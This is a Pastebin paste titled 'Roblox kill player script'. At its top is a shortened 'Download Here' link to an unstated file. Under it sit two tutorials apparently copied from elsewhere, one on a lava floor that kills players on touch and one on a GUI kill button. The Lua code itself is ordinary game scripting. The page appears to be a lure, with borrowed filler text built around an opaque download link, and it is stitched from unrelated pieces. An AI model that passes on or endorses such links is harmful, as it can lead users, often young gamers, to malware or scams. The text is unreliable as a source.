Advertisement
Guest User

Roblox kill player script

a guest
Nov 11th, 2024
1,419
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.42 KB | None | 0 0
  1. -
  2. Download Here --> https://tinyurl.com/rhf4x3dp (Copy and Paste Link)
  3.  
  4.  
  5.  
  6.  
  7.  
  8.  
  9. Deadly Lava
  10. In Introduction to Scripting , you learned how to make changes in a experience in a loop over time. What if you want to make changes based on user behavior? In this tutorial, you'll learn how to make a deadly lava floor which kills users when they step on it.
  11. Setting Up
  12. You need a place in your world to put the deadly lava. If you followed the Introduction to Scripting course, the lava floor would fit nicely in the gap covered by the disappearing platforms.
  13. Make the floor look more like lava by setting the Material property to Neon and the Color to an orange shade.
  14. Connecting to an Event
  15. Use an event to detect when a user touches the lava. Every part has a Touched event which fires when something touches it. You can connect to this event to run a function when it fires.
  16. local lava = script.Parent local function kill() end lava.Touched:Connect(kill)
  17. Any code you write in the kill function will now run whenever something touches the lava. Note that a colon is used for the Connect function, not a dot - don't worry about why at this point, just remember the difference.
  18. Getting the Touching Part
  19. To kill the user, the function will need an object associated with that user. A part's Touched event can provide the "other part" that touched it — but only if you request it by making it a parameter of the function.
  20. Parameters are definitions of what a function expects to receive when it's called. A parameter can be used in a function just like any other variable. You can pass information to a parameter by including it in the parentheses when a function is called. Parameters are defined in the parentheses on the first line of a function. Create a parameter called otherPart for the kill function.
  21. local lava = script.Parent local function kill(otherPart) end lava.Touched:Connect(kill)
  22. When the kill function is called, the otherPart parameter will represent the part that touched the lava floor, and the code you'll write in the function will be able to use it.
  23. Character and Humanoid
  24. When a user touches the lava, Roblox can detect the specific body part of the user that touched it, such as the left leg or right foot. This part is in the user's Character model, which contains all of the objects that make up the user's avatar in the experience, including:
  25. The Humanoid , a special object which contains many properties related to the user, including the user's health.
  26. As previously noted, any body part that touches the lava is part of the Character model, so you can get a reference to that character with otherPart.Parent . Create a variable to store the parent of the part that touched the lava floor.
  27. local lava = script.Parent local function kill(otherPart) local partParent = otherPart.Parent end lava.Touched:Connect(kill)
  28. From the character model, you'll need to get the Humanoid object in order to kill the user. You can do this with the FindFirstChild function - just pass it the name of the thing you're looking for and it will provide the first matching child it finds in that object. Call FindFirstChild on the partParent variable with "Humanoid" as the child to find, and store the result in a new variable called humanoid .
  29. local lava = script.Parent local function kill(otherPart) local partParent = otherPart.Parent local humanoid = partParent:FindFirstChild("Humanoid") end lava.Touched:Connect(kill)
  30. Checking the Humanoid
  31. You can easily check if the Humanoid was found using an if statement. The code in an if statement will only run if the condition defined in the first line is true.
  32. There are a variety of operators that can be used to build more complex conditions which you'll encounter in future courses - for now, just put the humanoid variable there. Create an if statement with humanoid as the condition.
  33. local lava = script.Parent local function kill(otherPart) local partParent = otherPart.Parent local humanoid = partParent:FindFirstChild("Humanoid") if humanoid then end end lava.Touched:Connect(kill)
  34. In Lua, any value other than false or nil (an empty value) is evaluated as true in a conditional statement, so in this case you can use humanoid directly as the condition.
  35. Setting Character Health
  36. Now that the Humanoid has been checked, its properties can be changed. If you set its Health property to 0 , the associated Character will die. In the body of the if statement, set the Health property of humanoid to 0.
  37. local function kill(otherPart) local partParent = otherPart.Parent local humanoid = partParent:FindFirstChild("Humanoid") if humanoid then humanoid.Health = 0 end end lava.Touched:Connect(kill)
  38. With that, your lava floor is complete! Test your experience and you should find that your deadly lava successfully kills users on contact. Try using your lava as an extra challenge in an obby, or as a boundary for a world.
  39. Final Code
  40. local lava = script.Parent local function kill(otherPart) local partParent = otherPart.Parent local humanoid = partParent:FindFirstChild("Humanoid") if humanoid then humanoid.Health = 0 end end lava.Touched:Connect(kill)
  41. Tutorial:Making a Kill Button
  42. In this tutorial, we will go over making a basic kill button. In order to complete this tutorial, you will need to have a basic knowledge with GUIs. Some helpful gui teaching links are shown below.
  43. The first step is to make the gui. To do this tutorial, we are going to put a TextButton into a ScreenGui, then insert a LocalScript into the button. Your hierarchy should look like this.
  44. Open up the LocalScript, delete all the current code. Now, we can start by defining variables.
  45. local player = game.Players.LocalPlayer player.CharacterAdded:Wait() local character = player.Character
  46. Now, we can hook up our event.
  47. local player = game.Players.LocalPlayer player.CharacterAdded:Wait() local character = player.Character script.Parent.MouseButton1Click:Connect(function() end)
  48. We have our event hooked up, but we need to make it actually kill the player. To do this, we find the Humanoid object inside of the player's character, and set it's health to 0.
  49. local player = game.Players.LocalPlayer player.CharacterAdded:Wait() local character = player.Character script.Parent.MouseButton1Click:Connect(function() local humanoid = character:FindFirstChildOfClass("Humanoid") if humanoid then humanoid.Health = 0 end end)
  50. This button will now instantly kill any player who presses it.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement